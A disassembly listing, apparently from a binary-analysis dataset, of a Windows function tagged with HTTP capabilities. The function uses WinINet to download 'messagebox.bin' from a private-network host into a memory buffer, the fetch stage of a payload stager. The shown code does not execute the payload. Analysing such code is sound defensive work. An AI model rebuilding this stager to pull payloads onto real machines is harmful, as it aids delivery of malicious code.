Function at 0x140001584
Capabilities:
Create http request
Get http content length
Read data from internet
Receive data

Disassembly:
push rbp
mov eax, 0x1090
call fcn.140002c30
sub rsp, rax
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x1020], rcx
mov qword [rbp + 0xff8], 0
mov qword [rbp + 0xff0], 0
mov qword [rbp + 0xfe8], 0
mov dword [rbp + 0xfcc], 0
mov dword [rbp + 0x100c], 0
mov qword [rbp + 0xfe0], 0
mov qword [rbp + 0xfd8], 0
lea rax, str.http:__10.0.11.170:8080_messagebox.bin
mov qword [rbp + 0xfd0], rax
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 1
lea rax, str.HTTP_Downloader
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetOpenA]
call rax
mov qword [rbp + 0xff8], rax
cmp qword [rbp + 0xff8], 0
jne 0x140001656
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.____InternetOpen_failed._Error:__lu_n
mov rcx, rax
call fcn.140001530
jmp 0x140001889
mov rdx, qword [rbp + 0xfd0]
mov rax, qword [rbp + 0xff8]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x80000000
mov r9d, 0
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetOpenUrlA]
call rax
mov qword [rbp + 0xfe8], rax
cmp qword [rbp + 0xfe8], 0
jne 0x1400016d0
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.____InternetOpenUrl_failed._Error:__lu_n
mov rcx, rax
call fcn.140001530
mov rax, qword [rbp + 0xff8]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
jmp 0x140001889
mov dword [rbp - 0x44], 0
mov dword [rbp - 0x48], 4
lea rcx, [rbp - 0x48]
lea rdx, [rbp - 0x44]
mov rax, qword [rbp + 0xfe8]
mov qword [rsp + 0x20], 0
mov r9, rcx
mov r8, rdx
mov edx, 0x20000005
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_HttpQueryInfoA]
call rax
mov eax, dword [rbp - 0x44]
mov eax, eax
mov qword [rbp + 0xfe0], rax
mov rax, qword [rbp + 0xfe0]
mov rdx, rax
lea rax, str.___File_size:__llu_bytes_n
mov rcx, rax
call fcn.140001530
mov rax, qword [rbp + 0x1020]
mov rdx, qword [rbp + 0xfe0]
mov qword [rax + 8], rdx
mov rax, qword [rbp + 0xfe0]
mov rcx, rax
call sub.msvcrt.dll_malloc
mov qword [rbp + 0xfd8], rax
cmp qword [rbp + 0xfd8], 0
jne 0x14000179e
lea rax, str.____Memory_allocation_failed._n
mov rcx, rax
call fcn.140001530
mov rax, qword [rbp + 0xfe8]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov rax, qword [rbp + 0xff8]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
jmp 0x140001889
mov rax, qword [rbp + 0xfd8]
mov qword [rbp + 0x1000], rax
jmp 0x1400017e7
mov eax, dword [rbp + 0xfcc]
mov ecx, eax
lea rdx, [rbp - 0x40]
mov rax, qword [rbp + 0x1000]
mov r8, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov eax, dword [rbp + 0xfcc]
mov eax, eax
add qword [rbp + 0x1000], rax
mov eax, dword [rbp + 0xfcc]
add dword [rbp + 0x100c], eax
lea rcx, [rbp + 0xfcc]
lea rdx, [rbp - 0x40]
mov rax, qword [rbp + 0xfe8]
mov r9, rcx
mov r8d, 0x1000
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetReadFile]
call rax
test eax, eax
je 0x14000181c
mov eax, dword [rbp + 0xfcc]
test eax, eax
jne 0x1400017ae
mov eax, dword [rbp + 0x100c]
mov edx, eax
lea rax, str.___Downloaded__lu_bytes_n
mov rcx, rax
call fcn.140001530
mov rax, qword [rbp + 0x1020]
mov rdx, qword [rbp + 0xfd8]
mov qword [rax], rdx
mov rax, qword [rbp + 0xfe8]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov rax, qword [rbp + 0xff8]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov eax, dword [rbp + 0x100c]
cmp qword [rbp + 0xfe0], rax
je 0x140001889
lea rax, str.____Warning:_Downloaded_size_does_not_match_the_reported_file_size._n
mov rcx, rax
call fcn.140001530
nop
add rsp, 0x1090
pop rbp
ret